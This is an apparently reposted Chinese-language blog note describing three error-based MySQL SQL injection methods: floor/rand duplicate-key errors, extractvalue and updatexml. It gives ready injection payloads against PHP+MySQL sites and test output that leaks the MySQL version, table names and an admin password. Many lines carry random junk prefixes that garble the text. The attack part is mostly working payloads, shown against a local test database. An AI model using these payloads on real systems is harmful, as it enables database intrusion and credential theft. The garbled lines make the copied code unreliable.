关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
) U- M, }  U' D- J4 q4 w5 \* a实际测试环境：
​
1 L" P" _; A  r3 U, D
  U$ {% ?: b' rmysql> show tables;
4 B* d7 R& I  c( S- ]! `+----------------+
* H" O  K; J! |4 [4 a6 t| Tables_in_test |
  U& G. v- ~6 J! q& @& E+----------------+
8 j7 j  }# j) [- [9 B$ {9 N| admin          |
" P7 q+ c9 E! I" P) H  U9 || article        |
3 a& S% z$ e% M6 ]+ Y9 |+ p+----------------+
# \+ M+ e0 `: e% X$ F" K! o


% J2 X* Q9 N  J- T& Mmysql> describe admin;
- D( J% x- u+ f7 I2 {- @+-------+------------------+------+-----+---------+----------------+
8 U4 s1 `  Q& x) a5 p5 I# r| Field | Type             | Null | Key | Default | Extra          |
$ C" K$ X1 T2 M* Z4 s+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
' B, n" Z/ `5 V, l| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
$ A$ U3 u3 T) @# q# [) R
+ N* a+ @9 N7 c6 R% e* v8 c8 p: O4 F
1 C8 F" O; Y/ z" S
mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
$ _6 R" ^5 f- Y9 y* y: I| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
  @" i! [; [4 L' J8 q| title   | varchar(50)      | NO   |     | NULL    |                |
- C. w8 c9 A1 r9 || content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
6 l9 H" E: s" u' v1、通过floor报错
可以通过如下一些利用代码
* ^+ Z/ V1 e; {* `6 W

4 P! i- r! p8 {' m) ~' }% T0 B1 H% {and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);

" x/ Y3 v5 q$ M) n* D7 r
and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
首先进行正常查询：

; y9 _* T2 x8 C3 y0 n* Imysql> select * from article where id = 1;
# M9 X% h9 T  a5 b- k+----+-------+---------+
( J$ J3 s, S! h+ ]2 d  |2 e| id | title | content |
% u9 B2 J* S0 Z& R$ W2 k  i+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
; D3 u% v% T, n7 K2 C& R% N假如id输入存在注入的话，可以通过如下语句进行报错。
9 r! [' t, N5 e! E- ?3 \7 q$ s( U. }

mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
/ G' q- y- }( G3 s* v/ F& x8 Q; V3 {ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
2 c9 T& |3 k) _* W. `9 S' H可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
' p8 U) Z# O: {7 N0 d3 W$ w8 h例如我们需要查询管理员用户名和密码：
Method1:
0 C# Y, T# a4 g& \) Q$ \

mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
7 v% U, f& [5 x# I  Wfrom information_schema.tables group by x)a);
, z+ w1 d& ~2 p9 p4 R$ QERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
; N0 Y. R2 J8 c; R8 s& N7 UMethod2:

2 G& X- u: s" U) H# O, @
, P9 ^  ?  a/ S. V1 E) Z& K2 @mysql> select * from article where id = 1 and (select count(*)
( E9 j3 b; h4 |, Q4 ~$ m9 \5 c) Mfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
5 W4 t+ e; f& Q0 h0 Z, X9 t2、ExtractValue
测试语句如下
+ j7 I1 J1 Y/ @4 C8 p
/ L2 x; j) {. T( R% A# C5 t, Z9 V
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
7 U& X3 l) O) d) }实际测试过程


mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
6 R, w0 L/ v) m0 M/ J6 w( U! E5 p3、UpdateXml
测试语句

. D! Z) A+ W: i
, Q; k, B3 p8 N( a. ]and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
% U. E1 q2 {  |+ K6 T, y实际测试过程

5 V! J0 X9 j/ `4 Y: i# l2 N
3 }4 q0 X2 C3 N7 f; Mmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
$ L0 n# l4 C7 U3 f# ~, P8 U! {9 x(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
9 a+ q, M0 G( t- t& ~& |7 O- p' A8 wAll, thanks foreign guys.

* i* ]% g" D/ B% z0 P​
1 n+ \9 E- Y0 L4 c0 M